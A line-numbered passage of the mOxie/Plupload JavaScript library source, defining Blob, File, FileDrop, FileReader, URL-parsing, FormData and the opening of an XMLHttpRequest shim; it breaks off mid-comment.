3467 Unique id of the connected runtime, if falsy, then runtime will have to be initialized
3468 before this Blob can be used, modified or sent
3469
3470 @property ruid
3471 @type {String}
3472 */
3473 ruid: ruid,
3474
3475 /**
3476 Size of blob
3477
3478 @property size
3479 @type {Number}
3480 @default 0
3481 */
3482 size: blob.size || 0,
3483
3484 /**
3485 Mime type of blob
3486
3487 @property type
3488 @type {String}
3489 @default ''
3490 */
3491 type: blob.type || '',
3492
3493 /**
3494 @method slice
3495 @param {Number} [start=0]
3496 */
3497 slice: function(start, end, type) {
3498 if (this.isDetached()) {
3499 return _sliceDetached.apply(this, arguments);
3500 }
3501 return this.getRuntime().exec.call(this, 'Blob', 'slice', this.getSource(), start, end, type);
3502 },
3503
3504 /**
3505 Returns "native" blob object (as it is represented in connected runtime) or null if not found
3506
3507 @method getSource
3508 @return {Blob} Returns "native" blob object or null if not found
3509 */
3510 getSource: function() {
3511 if (!blobpool[this.uid]) {
3512 return null;
3513 }
3514 return blobpool[this.uid];
3515 },
3516
3517 /**
3518 Detaches blob from any runtime that it depends on and initialize with standalone value
3519
3520 @method detach
3521 @protected
3522 @param {DOMString} [data=''] Standalone value
3523 */
3524 detach: function(data) {
3525 if (this.ruid) {
3526 this.getRuntime().exec.call(this, 'Blob', 'destroy');
3527 this.disconnectRuntime();
3528 this.ruid = null;
3529 }
3530
3531 data = data || '';
3532
3533 // if dataUrl, convert to binary string
3534 if (data.substr(0, 5) == 'data:') {
3535 var base64Offset = data.indexOf(';base64,');
3536 this.type = data.substring(5, base64Offset);
3537 data = Encode.atob(data.substring(base64Offset + 8));
3538 }
3539
3540 this.size = data.length;
3541
3542 blobpool[this.uid] = data;
3543 },
3544
3545 /**
3546 Checks if blob is standalone (detached of any runtime)
3547
3548 @method isDetached
3549 @protected
3550 @return {Boolean}
3551 */
3552 isDetached: function() {
3553 return !this.ruid && Basic.typeOf(blobpool[this.uid]) === 'string';
3554 },
3555
3556 /**
3557 Destroy Blob and free any resources it was using
3558
3559 @method destroy
3560 */
3561 destroy: function() {
3562 this.detach();
3563 delete blobpool[this.uid];
3564 }
3565 });
3566
3567
3568 if (blob.data) {
3569 this.detach(blob.data); // auto-detach if payload has been passed
3570 } else {
3571 blobpool[this.uid] = blob;
3572 }
3573 }
3574
3575 return Blob;
3576});
3577
3578// Included from: src/javascript/file/File.js
3579
3580/**
3581 * File.js
3582 *
3583 * Copyright 2013, Moxiecode Systems AB
3584 * Released under GPL License.
3585 *
3586 * License: http://www.plupload.com/license
3587 * Contributing: http://www.plupload.com/contributing
3588 */
3589
3590define('moxie/file/File', [
3591 'moxie/core/utils/Basic',
3592 'moxie/core/utils/Mime',
3593 'moxie/file/Blob'
3594], function(Basic, Mime, Blob) {
3595 /**
3596 @class File
3597 @extends Blob
3598 @constructor
3599 @param {String} ruid Unique id of the runtime, to which this blob belongs to
3600 @param {Object} file Object "Native" file object, as it is represented in the runtime
3601 */
3602 function File(ruid, file) {
3603 if (!file) { // avoid extra errors in case we overlooked something
3604 file = {};
3605 }
3606
3607 Blob.apply(this, arguments);
3608
3609 if (!this.type) {
3610 this.type = Mime.getFileMime(file.name);
3611 }
3612
3613 // sanitize file name or generate new one
3614 var name;
3615 if (file.name) {
3616 name = file.name.replace(/\\/g, '/');
3617 name = name.substr(name.lastIndexOf('/') + 1);
3618 } else if (this.type) {
3619 var prefix = this.type.split('/')[0];
3620 name = Basic.guid((prefix !== '' ? prefix : 'file') + '_');
3621
3622 if (Mime.extensions[this.type]) {
3623 name += '.' + Mime.extensions[this.type][0]; // append proper extension if possible
3624 }
3625 }
3626
3627
3628 Basic.extend(this, {
3629 /**
3630 File name
3631
3632 @property name
3633 @type {String}
3634 @default UID
3635 */
3636 name: name || Basic.guid('file_'),
3637
3638 /**
3639 Relative path to the file inside a directory
3640
3641 @property relativePath
3642 @type {String}
3643 @default ''
3644 */
3645 relativePath: '',
3646
3647 /**
3648 Date of last modification
3649
3650 @property lastModifiedDate
3651 @type {String}
3652 @default now
3653 */
3654 lastModifiedDate: file.lastModifiedDate || (new Date()).toLocaleString() // Thu Aug 23 2012 19:40:00 GMT+0400 (GET)
3655 });
3656 }
3657
3658 File.prototype = Blob.prototype;
3659
3660 return File;
3661});
3662
3663// Included from: src/javascript/file/FileDrop.js
3664
3665/**
3666 * FileDrop.js
3667 *
3668 * Copyright 2013, Moxiecode Systems AB
3669 * Released under GPL License.
3670 *
3671 * License: http://www.plupload.com/license
3672 * Contributing: http://www.plupload.com/contributing
3673 */
3674
3675define('moxie/file/FileDrop', [
3676 'moxie/core/I18n',
3677 'moxie/core/utils/Dom',
3678 'moxie/core/Exceptions',
3679 'moxie/core/utils/Basic',
3680 'moxie/core/utils/Env',
3681 'moxie/file/File',
3682 'moxie/runtime/RuntimeClient',
3683 'moxie/core/EventTarget',
3684 'moxie/core/utils/Mime'
3685], function(I18n, Dom, x, Basic, Env, File, RuntimeClient, EventTarget, Mime) {
3686 /**
3687 Turn arbitrary DOM element to a drop zone accepting files. Converts selected files to _File_ objects, to be used
3688 in conjunction with _Image_, preloaded in memory with _FileReader_ or uploaded to a server through
3689 _XMLHttpRequest_.
3690
3691 @example
3692 <div id="drop_zone">
3693 Drop files here
3694 </div>
3695 <br />
3696 <div id="filelist"></div>
3697
3698 <script type="text/javascript">
3699 var fileDrop = new mOxie.FileDrop('drop_zone'), fileList = mOxie.get('filelist');
3700
3701 fileDrop.ondrop = function() {
3702 mOxie.each(this.files, function(file) {
3703 fileList.innerHTML += '<div>' + file.name + '</div>';
3704 });
3705 };
3706
3707 fileDrop.init();
3708 </script>
3709
3710 @class FileDrop
3711 @constructor
3712 @extends EventTarget
3713 @uses RuntimeClient
3714 @param {Object|String} options If options has typeof string, argument is considered as options.drop_zone
3715 @param {String|DOMElement} options.drop_zone DOM Element to turn into a drop zone
3716 @param {Array} [options.accept] Array of mime types to accept. By default accepts all
3717 @param {Object|String} [options.required_caps] Set of required capabilities, that chosen runtime must support
3718 */
3719 var dispatches = [
3720 /**
3721 Dispatched when runtime is connected and drop zone is ready to accept files.
3722
3723 @event ready
3724 @param {Object} event
3725 */
3726 'ready',
3727
3728 /**
3729 Dispatched when dragging cursor enters the drop zone.
3730
3731 @event dragenter
3732 @param {Object} event
3733 */
3734 'dragenter',
3735
3736 /**
3737 Dispatched when dragging cursor leaves the drop zone.
3738
3739 @event dragleave
3740 @param {Object} event
3741 */
3742 'dragleave',
3743
3744 /**
3745 Dispatched when file is dropped onto the drop zone.
3746
3747 @event drop
3748 @param {Object} event
3749 */
3750 'drop',
3751
3752 /**
3753 Dispatched if error occurs.
3754
3755 @event error
3756 @param {Object} event
3757 */
3758 'error'
3759 ];
3760
3761 function FileDrop(options) {
3762 if (MXI_DEBUG) {
3763 Env.log("Instantiating FileDrop...");
3764 }
3765
3766 var self = this, defaults;
3767
3768 // if flat argument passed it should be drop_zone id
3769 if (typeof(options) === 'string') {
3770 options = { drop_zone : options };
3771 }
3772
3773 // figure out the options
3774 defaults = {
3775 accept: [{
3776 title: I18n.translate('All Files'),
3777 extensions: '*'
3778 }],
3779 required_caps: {
3780 drag_and_drop: true
3781 }
3782 };
3783
3784 options = typeof(options) === 'object' ? Basic.extend({}, defaults, options) : defaults;
3785
3786 // this will help us to find proper default container
3787 options.container = Dom.get(options.drop_zone) || document.body;
3788
3789 // make container relative, if it is not
3790 if (Dom.getStyle(options.container, 'position') === 'static') {
3791 options.container.style.position = 'relative';
3792 }
3793
3794 // normalize accept option (could be list of mime types or array of title/extensions pairs)
3795 if (typeof(options.accept) === 'string') {
3796 options.accept = Mime.mimes2extList(options.accept);
3797 }
3798
3799 RuntimeClient.call(self);
3800
3801 Basic.extend(self, {
3802 uid: Basic.guid('uid_'),
3803
3804 ruid: null,
3805
3806 files: null,
3807
3808 init: function() {
3809 self.bind('RuntimeInit', function(e, runtime) {
3810 self.ruid = runtime.uid;
3811 runtime.exec.call(self, 'FileDrop', 'init', options);
3812 self.dispatchEvent('ready');
3813 });
3814
3815 // runtime needs: options.required_features, options.runtime_order and options.container
3816 self.connectRuntime(options); // throws RuntimeError
3817 },
3818
3819 destroy: function() {
3820 var runtime = this.getRuntime();
3821 if (runtime) {
3822 runtime.exec.call(this, 'FileDrop', 'destroy');
3823 this.disconnectRuntime();
3824 }
3825 this.files = null;
3826
3827 this.unbindAll();
3828 }
3829 });
3830
3831 this.handleEventProps(dispatches);
3832 }
3833
3834 FileDrop.prototype = EventTarget.instance;
3835
3836 return FileDrop;
3837});
3838
3839// Included from: src/javascript/file/FileReader.js
3840
3841/**
3842 * FileReader.js
3843 *
3844 * Copyright 2013, Moxiecode Systems AB
3845 * Released under GPL License.
3846 *
3847 * License: http://www.plupload.com/license
3848 * Contributing: http://www.plupload.com/contributing
3849 */
3850
3851define('moxie/file/FileReader', [
3852 'moxie/core/utils/Basic',
3853 'moxie/core/utils/Encode',
3854 'moxie/core/Exceptions',
3855 'moxie/core/EventTarget',
3856 'moxie/file/Blob',
3857 'moxie/runtime/RuntimeClient'
3858], function(Basic, Encode, x, EventTarget, Blob, RuntimeClient) {
3859 /**
3860 Utility for preloading o.Blob/o.File objects in memory. By design closely follows [W3C FileReader](http://www.w3.org/TR/FileAPI/#dfn-filereader)
3861 interface. Where possible uses native FileReader, where - not falls back to shims.
3862
3863 @class FileReader
3864 @constructor FileReader
3865 @extends EventTarget
3866 @uses RuntimeClient
3867 */
3868 var dispatches = [
3869
3870 /**
3871 Dispatched when the read starts.
3872
3873 @event loadstart
3874 @param {Object} event
3875 */
3876 'loadstart',
3877
3878 /**
3879 Dispatched while reading (and decoding) blob, and reporting partial Blob data (progess.loaded/progress.total).
3880
3881 @event progress
3882 @param {Object} event
3883 */
3884 'progress',
3885
3886 /**
3887 Dispatched when the read has successfully completed.
3888
3889 @event load
3890 @param {Object} event
3891 */
3892 'load',
3893
3894 /**
3895 Dispatched when the read has been aborted. For instance, by invoking the abort() method.
3896
3897 @event abort
3898 @param {Object} event
3899 */
3900 'abort',
3901
3902 /**
3903 Dispatched when the read has failed.
3904
3905 @event error
3906 @param {Object} event
3907 */
3908 'error',
3909
3910 /**
3911 Dispatched when the request has completed (either in success or failure).
3912
3913 @event loadend
3914 @param {Object} event
3915 */
3916 'loadend'
3917 ];
3918
3919 function FileReader() {
3920
3921 RuntimeClient.call(this);
3922
3923 Basic.extend(this, {
3924 /**
3925 UID of the component instance.
3926
3927 @property uid
3928 @type {String}
3929 */
3930 uid: Basic.guid('uid_'),
3931
3932 /**
3933 Contains current state of FileReader object. Can take values of FileReader.EMPTY, FileReader.LOADING
3934 and FileReader.DONE.
3935
3936 @property readyState
3937 @type {Number}
3938 @default FileReader.EMPTY
3939 */
3940 readyState: FileReader.EMPTY,
3941
3942 /**
3943 Result of the successful read operation.
3944
3945 @property result
3946 @type {String}
3947 */
3948 result: null,
3949
3950 /**
3951 Stores the error of failed asynchronous read operation.
3952
3953 @property error
3954 @type {DOMError}
3955 */
3956 error: null,
3957
3958 /**
3959 Initiates reading of File/Blob object contents to binary string.
3960
3961 @method readAsBinaryString
3962 @param {Blob|File} blob Object to preload
3963 */
3964 readAsBinaryString: function(blob) {
3965 _read.call(this, 'readAsBinaryString', blob);
3966 },
3967
3968 /**
3969 Initiates reading of File/Blob object contents to dataURL string.
3970
3971 @method readAsDataURL
3972 @param {Blob|File} blob Object to preload
3973 */
3974 readAsDataURL: function(blob) {
3975 _read.call(this, 'readAsDataURL', blob);
3976 },
3977
3978 /**
3979 Initiates reading of File/Blob object contents to string.
3980
3981 @method readAsText
3982 @param {Blob|File} blob Object to preload
3983 */
3984 readAsText: function(blob) {
3985 _read.call(this, 'readAsText', blob);
3986 },
3987
3988 /**
3989 Aborts preloading process.
3990
3991 @method abort
3992 */
3993 abort: function() {
3994 this.result = null;
3995
3996 if (Basic.inArray(this.readyState, [FileReader.EMPTY, FileReader.DONE]) !== -1) {
3997 return;
3998 } else if (this.readyState === FileReader.LOADING) {
3999 this.readyState = FileReader.DONE;
4000 }
4001
4002 this.exec('FileReader', 'abort');
4003
4004 this.trigger('abort');
4005 this.trigger('loadend');
4006 },
4007
4008 /**
4009 Destroy component and release resources.
4010
4011 @method destroy
4012 */
4013 destroy: function() {
4014 this.abort();
4015 this.exec('FileReader', 'destroy');
4016 this.disconnectRuntime();
4017 this.unbindAll();
4018 }
4019 });
4020
4021 // uid must already be assigned
4022 this.handleEventProps(dispatches);
4023
4024 this.bind('Error', function(e, err) {
4025 this.readyState = FileReader.DONE;
4026 this.error = err;
4027 }, 999);
4028
4029 this.bind('Load', function(e) {
4030 this.readyState = FileReader.DONE;
4031 }, 999);
4032
4033
4034 function _read(op, blob) {
4035 var self = this;
4036
4037 this.trigger('loadstart');
4038
4039 if (this.readyState === FileReader.LOADING) {
4040 this.trigger('error', new x.DOMException(x.DOMException.INVALID_STATE_ERR));
4041 this.trigger('loadend');
4042 return;
4043 }
4044
4045 // if source is not o.Blob/o.File
4046 if (!(blob instanceof Blob)) {
4047 this.trigger('error', new x.DOMException(x.DOMException.NOT_FOUND_ERR));
4048 this.trigger('loadend');
4049 return;
4050 }
4051
4052 this.result = null;
4053 this.readyState = FileReader.LOADING;
4054
4055 if (blob.isDetached()) {
4056 var src = blob.getSource();
4057 switch (op) {
4058 case 'readAsText':
4059 case 'readAsBinaryString':
4060 this.result = src;
4061 break;
4062 case 'readAsDataURL':
4063 this.result = 'data:' + blob.type + ';base64,' + Encode.btoa(src);
4064 break;
4065 }
4066 this.readyState = FileReader.DONE;
4067 this.trigger('load');
4068 this.trigger('loadend');
4069 } else {
4070 this.connectRuntime(blob.ruid);
4071 this.exec('FileReader', 'read', op, blob);
4072 }
4073 }
4074 }
4075
4076 /**
4077 Initial FileReader state
4078
4079 @property EMPTY
4080 @type {Number}
4081 @final
4082 @static
4083 @default 0
4084 */
4085 FileReader.EMPTY = 0;
4086
4087 /**
4088 FileReader switches to this state when it is preloading the source
4089
4090 @property LOADING
4091 @type {Number}
4092 @final
4093 @static
4094 @default 1
4095 */
4096 FileReader.LOADING = 1;
4097
4098 /**
4099 Preloading is complete, this is a final state
4100
4101 @property DONE
4102 @type {Number}
4103 @final
4104 @static
4105 @default 2
4106 */
4107 FileReader.DONE = 2;
4108
4109 FileReader.prototype = EventTarget.instance;
4110
4111 return FileReader;
4112});
4113
4114// Included from: src/javascript/core/utils/Url.js
4115
4116/**
4117 * Url.js
4118 *
4119 * Copyright 2013, Moxiecode Systems AB
4120 * Released under GPL License.
4121 *
4122 * License: http://www.plupload.com/license
4123 * Contributing: http://www.plupload.com/contributing
4124 */
4125
4126define('moxie/core/utils/Url', [], function() {
4127 /**
4128 Parse url into separate components and fill in absent parts with parts from current url,
4129 based on https://raw.github.com/kvz/phpjs/master/functions/url/parse_url.js
4130
4131 @method parseUrl
4132 @for Utils
4133 @static
4134 @param {String} url Url to parse (defaults to empty string if undefined)
4135 @return {Object} Hash containing extracted uri components
4136 */
4137 var parseUrl = function(url, currentUrl) {
4138 var key = ['source', 'scheme', 'authority', 'userInfo', 'user', 'pass', 'host', 'port', 'relative', 'path', 'directory', 'file', 'query', 'fragment']
4139 , i = key.length
4140 , ports = {
4141 http: 80,
4142 https: 443
4143 }
4144 , uri = {}
4145 , regex = /^(?:([^:\/?#]+):)?(?:\/\/()(?:(?:()(?:([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?))?()(?:(()(?:(?:[^?#\/]*\/)*)()(?:[^?#]*))(?:\\?([^#]*))?(?:#(.*))?)/
4146 , m = regex.exec(url || '')
4147 ;
4148
4149 while (i--) {
4150 if (m[i]) {
4151 uri[key[i]] = m[i];
4152 }
4153 }
4154
4155 // when url is relative, we set the origin and the path ourselves
4156 if (!uri.scheme) {
4157 // come up with defaults
4158 if (!currentUrl || typeof(currentUrl) === 'string') {
4159 currentUrl = parseUrl(currentUrl || document.location.href);
4160 }
4161
4162 uri.scheme = currentUrl.scheme;
4163 uri.host = currentUrl.host;
4164 uri.port = currentUrl.port;
4165
4166 var path = '';
4167 // for urls without trailing slash we need to figure out the path
4168 if (/^[^\/]/.test(uri.path)) {
4169 path = currentUrl.path;
4170 // if path ends with a filename, strip it
4171 if (/\/[^\/]*\.[^\/]*$/.test(path)) {
4172 path = path.replace(/\/[^\/]+$/, '/');
4173 } else {
4174 // avoid double slash at the end (see #127)
4175 path = path.replace(/\/?$/, '/');
4176 }
4177 }
4178 uri.path = path + (uri.path || ''); // site may reside at domain.com or domain.com/subdir
4179 }
4180
4181 if (!uri.port) {
4182 uri.port = ports[uri.scheme] || 80;
4183 }
4184
4185 uri.port = parseInt(uri.port, 10);
4186
4187 if (!uri.path) {
4188 uri.path = "/";
4189 }
4190
4191 delete uri.source;
4192
4193 return uri;
4194 };
4195
4196 /**
4197 Resolve url - among other things will turn relative url to absolute
4198
4199 @method resolveUrl
4200 @static
4201 @param {String|Object} url Either absolute or relative, or a result of parseUrl call
4202 @return {String} Resolved, absolute url
4203 */
4204 var resolveUrl = function(url) {
4205 var ports = { // we ignore default ports
4206 http: 80,
4207 https: 443
4208 }
4209 , urlp = typeof(url) === 'object' ? url : parseUrl(url);
4210 ;
4211
4212 return urlp.scheme + '://' + urlp.host + (urlp.port !== ports[urlp.scheme] ? ':' + urlp.port : '') + urlp.path + (urlp.query ? urlp.query : '');
4213 };
4214
4215 /**
4216 Check if specified url has the same origin as the current document
4217
4218 @method hasSameOrigin
4219 @param {String|Object} url
4220 @return {Boolean}
4221 */
4222 var hasSameOrigin = function(url) {
4223 function origin(url) {
4224 return [url.scheme, url.host, url.port].join('/');
4225 }
4226
4227 if (typeof url === 'string') {
4228 url = parseUrl(url);
4229 }
4230
4231 return origin(parseUrl()) === origin(url);
4232 };
4233
4234 return {
4235 parseUrl: parseUrl,
4236 resolveUrl: resolveUrl,
4237 hasSameOrigin: hasSameOrigin
4238 };
4239});
4240
4241// Included from: src/javascript/runtime/RuntimeTarget.js
4242
4243/**
4244 * RuntimeTarget.js
4245 *
4246 * Copyright 2013, Moxiecode Systems AB
4247 * Released under GPL License.
4248 *
4249 * License: http://www.plupload.com/license
4250 * Contributing: http://www.plupload.com/contributing
4251 */
4252
4253define('moxie/runtime/RuntimeTarget', [
4254 'moxie/core/utils/Basic',
4255 'moxie/runtime/RuntimeClient',
4256 "moxie/core/EventTarget"
4257], function(Basic, RuntimeClient, EventTarget) {
4258 /**
4259 Instance of this class can be used as a target for the events dispatched by shims,
4260 when allowing them onto components is for either reason inappropriate
4261
4262 @class RuntimeTarget
4263 @constructor
4264 @protected
4265 @extends EventTarget
4266 */
4267 function RuntimeTarget() {
4268 this.uid = Basic.guid('uid_');
4269
4270 RuntimeClient.call(this);
4271
4272 this.destroy = function() {
4273 this.disconnectRuntime();
4274 this.unbindAll();
4275 };
4276 }
4277
4278 RuntimeTarget.prototype = EventTarget.instance;
4279
4280 return RuntimeTarget;
4281});
4282
4283// Included from: src/javascript/file/FileReaderSync.js
4284
4285/**
4286 * FileReaderSync.js
4287 *
4288 * Copyright 2013, Moxiecode Systems AB
4289 * Released under GPL License.
4290 *
4291 * License: http://www.plupload.com/license
4292 * Contributing: http://www.plupload.com/contributing
4293 */
4294
4295define('moxie/file/FileReaderSync', [
4296 'moxie/core/utils/Basic',
4297 'moxie/runtime/RuntimeClient',
4298 'moxie/core/utils/Encode'
4299], function(Basic, RuntimeClient, Encode) {
4300 /**
4301 Synchronous FileReader implementation. Something like this is available in WebWorkers environment, here
4302 it can be used to read only preloaded blobs/files and only below certain size (not yet sure what that'd be,
4303 but probably < 1mb). Not meant to be used directly by user.
4304
4305 @class FileReaderSync
4306 @private
4307 @constructor
4308 */
4309 return function() {
4310 RuntimeClient.call(this);
4311
4312 Basic.extend(this, {
4313 uid: Basic.guid('uid_'),
4314
4315 readAsBinaryString: function(blob) {
4316 return _read.call(this, 'readAsBinaryString', blob);
4317 },
4318
4319 readAsDataURL: function(blob) {
4320 return _read.call(this, 'readAsDataURL', blob);
4321 },
4322
4323 /*readAsArrayBuffer: function(blob) {
4324 return _read.call(this, 'readAsArrayBuffer', blob);
4325 },*/
4326
4327 readAsText: function(blob) {
4328 return _read.call(this, 'readAsText', blob);
4329 }
4330 });
4331
4332 function _read(op, blob) {
4333 if (blob.isDetached()) {
4334 var src = blob.getSource();
4335 switch (op) {
4336 case 'readAsBinaryString':
4337 return src;
4338 case 'readAsDataURL':
4339 return 'data:' + blob.type + ';base64,' + Encode.btoa(src);
4340 case 'readAsText':
4341 var txt = '';
4342 for (var i = 0, length = src.length; i < length; i++) {
4343 txt += String.fromCharCode(src[i]);
4344 }
4345 return txt;
4346 }
4347 } else {
4348 var result = this.connectRuntime(blob.ruid).exec.call(this, 'FileReaderSync', 'read', op, blob);
4349 this.disconnectRuntime();
4350 return result;
4351 }
4352 }
4353 };
4354});
4355
4356// Included from: src/javascript/xhr/FormData.js
4357
4358/**
4359 * FormData.js
4360 *
4361 * Copyright 2013, Moxiecode Systems AB
4362 * Released under GPL License.
4363 *
4364 * License: http://www.plupload.com/license
4365 * Contributing: http://www.plupload.com/contributing
4366 */
4367
4368define("moxie/xhr/FormData", [
4369 "moxie/core/Exceptions",
4370 "moxie/core/utils/Basic",
4371 "moxie/file/Blob"
4372], function(x, Basic, Blob) {
4373 /**
4374 FormData
4375
4376 @class FormData
4377 @constructor
4378 */
4379 function FormData() {
4380 var _blob, _fields = [];
4381
4382 Basic.extend(this, {
4383 /**
4384 Append another key-value pair to the FormData object
4385
4386 @method append
4387 @param {String} name Name for the new field
4388 @param {String|Blob|Array|Object} value Value for the field
4389 */
4390 append: function(name, value) {
4391 var self = this, valueType = Basic.typeOf(value);
4392
4393 // according to specs value might be either Blob or String
4394 if (value instanceof Blob) {
4395 _blob = {
4396 name: name,
4397 value: value // unfortunately we can only send single Blob in one FormData
4398 };
4399 } else if ('array' === valueType) {
4400 name += '[]';
4401
4402 Basic.each(value, function(value) {
4403 self.append(name, value);
4404 });
4405 } else if ('object' === valueType) {
4406 Basic.each(value, function(value, key) {
4407 self.append(name + '[' + key + ']', value);
4408 });
4409 } else if ('null' === valueType || 'undefined' === valueType || 'number' === valueType && isNaN(value)) {
4410 self.append(name, "false");
4411 } else {
4412 _fields.push({
4413 name: name,
4414 value: value.toString()
4415 });
4416 }
4417 },
4418
4419 /**
4420 Checks if FormData contains Blob.
4421
4422 @method hasBlob
4423 @return {Boolean}
4424 */
4425 hasBlob: function() {
4426 return !!this.getBlob();
4427 },
4428
4429 /**
4430 Retrieves blob.
4431
4432 @method getBlob
4433 @return {Object} Either Blob if found or null
4434 */
4435 getBlob: function() {
4436 return _blob && _blob.value || null;
4437 },
4438
4439 /**
4440 Retrieves blob field name.
4441
4442 @method getBlobName
4443 @return {String} Either Blob field name or null
4444 */
4445 getBlobName: function() {
4446 return _blob && _blob.name || null;
4447 },
4448
4449 /**
4450 Loop over the fields in FormData and invoke the callback for each of them.
4451
4452 @method each
4453 @param {Function} cb Callback to call for each field
4454 */
4455 each: function(cb) {
4456 Basic.each(_fields, function(field) {
4457 cb(field.value, field.name);
4458 });
4459
4460 if (_blob) {
4461 cb(_blob.value, _blob.name);
4462 }
4463 },
4464
4465 destroy: function() {
4466 _blob = null;
4467 _fields = [];
4468 }
4469 });
4470 }
4471
4472 return FormData;
4473});
4474
4475// Included from: src/javascript/xhr/XMLHttpRequest.js
4476
4477/**
4478 * XMLHttpRequest.js
4479 *
4480 * Copyright 2013, Moxiecode Systems AB
4481 * Released under GPL License.
4482 *
4483 * License: http://www.plupload.com/license
4484 * Contributing: http://www.plupload.com/contributing
4485 */
4486
4487define("moxie/xhr/XMLHttpRequest", [
4488 "moxie/core/utils/Basic",
4489 "moxie/core/Exceptions",
4490 "moxie/core/EventTarget",
4491 "moxie/core/utils/Encode",
4492 "moxie/core/utils/Url",
4493 "moxie/runtime/Runtime",
4494 "moxie/runtime/RuntimeTarget",
4495 "moxie/file/Blob",
4496 "moxie/file/FileReaderSync",
4497 "moxie/xhr/FormData",
4498 "moxie/core/utils/Env",
4499 "moxie/core/utils/Mime"
4500], function(Basic, x, EventTarget, Encode, Url, Runtime, RuntimeTarget, Blob, FileReaderSync, FormData, Env, Mime) {
4501
4502 var httpCode = {
4503 100: 'Continue',
4504 101: 'Switching Protocols',
4505 102: 'Processing',
4506
4507 200: 'OK',
4508 201: 'Created',
4509 202: 'Accepted',
4510 203: 'Non-Authoritative Information',
4511 204: 'No Content',
4512 205: 'Reset Content',
4513 206: 'Partial Content',
4514 207: 'Multi-Status',
4515 226: 'IM Used',
4516
4517 300: 'Multiple Choices',
4518 301: 'Moved Permanently',
4519 302: 'Found',
4520 303: 'See Other',
4521 304: 'Not Modified',
4522 305: 'Use Proxy',
4523 306: 'Reserved',
4524 307: 'Temporary Redirect',
4525
4526 400: 'Bad Request',
4527 401: 'Unauthorized',
4528 402: 'Payment Required',
4529 403: 'Forbidden',
4530 404: 'Not Found',
4531 405: 'Method Not Allowed',
4532 406: 'Not Acceptable',
4533 407: 'Proxy Authentication Required',
4534 408: 'Request Timeout',
4535 409: 'Conflict',
4536 410: 'Gone',
4537 411: 'Length Required',
4538 412: 'Precondition Failed',
4539 413: 'Request Entity Too Large',
4540 414: 'Request-URI Too Long',
4541 415: 'Unsupported Media Type',
4542 416: 'Requested Range Not Satisfiable',
4543 417: 'Expectation Failed',
4544 422: 'Unprocessable Entity',
4545 423: 'Locked',
4546 424: 'Failed Dependency',
4547 426: 'Upgrade Required',
4548
4549 500: 'Internal Server Error',
4550 501: 'Not Implemented',
4551 502: 'Bad Gateway',
4552 503: 'Service Unavailable',
4553 504: 'Gateway Timeout',
4554 505: 'HTTP Version Not Supported',
4555 506: 'Variant Also Negotiates',
4556 507: 'Insufficient Storage',
4557 510: 'Not Extended'
4558 };
4559
4560 function XMLHttpRequestUpload() {
4561 this.uid = Basic.guid('uid_');
4562 }
4563
4564 XMLHttpRequestUpload.prototype = EventTarget.instance;
4565
4566 /**
4567 Implementation of XMLHttpRequest
4568
4569 @class XMLHttpRequest
4570 @constructor
4571 @uses RuntimeClient
4572 @extends EventTarget
4573 */
4574 var dispatches = [
4575 'loadstart',
4576
4577 'progress',
4578
4579 'abort',
4580
4581 'error',
4582
4583 'load',
4584
4585 'timeout',
4586
4587 'loadend'
4588
4589 // readystatechange (for historical reasons)
4590 ];
4591
4592 var NATIVE = 1, RUNTIME = 2;
4593
4594 function XMLHttpRequest() {
4595 var self = this,
4596 // this (together with _p() @see below) is here to gracefully upgrade to setter/getter syntax where possible
4597 props = {
4598 /**
4599 The amount of milliseconds a request can take before being terminated. Initially zero. Zero means there is no timeout.
4600
4601 @property timeout
4602 @type Number
4603 @default 0
4604 */
4605 timeout: 0,
4606
4607 /**
4608 Current state, can take following values:
4609 UNSENT (numeric value 0)
4610 The object has been constructed.
4611
4612 OPENED (numeric value 1)
4613 The open() method has been successfully invoked. During this state request headers can be set using setRequestHeader() and the request can be made using the send() method.
4614
4615 HEADERS_RECEIVED (numeric value 2)
4616 All redirects (if any) have been followed and all HTTP headers of the final response have been received. Several response members of the object are now available.
4617
4618 LOADING (numeric value 3)
4619 The response entity body is being received.
4620
4621 DONE (numeric value 4)
4622
4623 @property readyState
4624 @type Number
4625 @default 0 (UNSENT)
4626 */
4627 readyState: XMLHttpRequest.UNSENT,
4628
4629 /**
4630 True when user credentials are to be included in a cross-origin request. False when they are to be excluded
4631 in a cross-origin request and when cookies are to be ignored in its response. Initially false.
4632
4633 @property withCredentials
4634 @type Boolean
4635 @default false
4636 */
4637 withCredentials: false,
4638
4639 /**
4640 Returns the HTTP status code.
4641
4642 @property status
4643 @type Number
4644 @default 0
4645 */
4646 status: 0,
4647
4648 /**
4649 Returns the HTTP status text.
4650
4651 @property statusText
4652 @type String
4653 */
4654 statusText: "",
4655
4656 /**
4657 Returns the response type. Can be set to change the response type. Values are:
4658 the empty string (default), "arraybuffer", "blob", "document", "json", and "text".
4659
4660 @property responseType
4661 @type String
4662 */
4663 responseType: "",
4664
4665 /**
4666 Returns the document response entity body.
4667
4668 Throws an "InvalidStateError" exception if responseType is not the empty string or "document".
4669
4670 @property responseXML
4671 @type Document
4672 */
4673 responseXML: null,
4674
4675 /**
4676 Returns the text response entity body.
4677
4678 Throws an "InvalidStateError" exception if responseType is not the empty string or "text".
4679
4680 @property responseText
4681 @type String
4682 */
4683 responseText: null,
4684
4685 /**
4686 Returns the response entity body (http://www.w3.org/TR/XMLHttpRequest/#response-entity-body).
4687 Can become: ArrayBuffer, Blob, Document, JSON, Text
4688
4689 @property response
4690 @type Mixed
4691 */
4692 response: null
4693 },
4694
4695 _async = true,
4696 _url,
4697 _method,
4698 _headers = {},
4699 _user,
4700 _password,
4701 _encoding = null,
4702 _mimeType = null,
4703
4704 // flags
4705 _sync_flag = false,
4706 _send_flag = false,
4707 _upload_events_flag = false,
4708 _upload_complete_flag = false,
4709 _error_flag = false,
4710 _same_origin_flag = false,
4711
4712 // times
4713 _start_time,
4714 _timeoutset_time,
4715
4716 _finalMime = null,
4717 _finalCharset = null,
4718
4719 _options = {},
4720 _xhr,
4721 _responseHeaders = '',
4722 _responseHeadersBag
4723 ;
4724
4725
4726 Basic.extend(this, props, {
4727 /**
4728 Unique id of the component
4729
4730 @property uid
4731 @type String
4732 */
4733 uid: Basic.guid('uid_'),
4734
4735 /**
4736 Target for Upload events
4737
4738 @property upload
4739 @type XMLHttpRequestUpload
4740 */
4741 upload: new XMLHttpRequestUpload(),
4742
4743
4744 /**
4745 Sets the request method, request URL, synchronous flag, request username, and request password.
4746
4747 Throws a "SyntaxError" exception if one of the following is true:
4748
4749 method is not a valid HTTP method.
4750 url cannot be resolved.
4751 url contains the "user:password" format in the userinfo production.
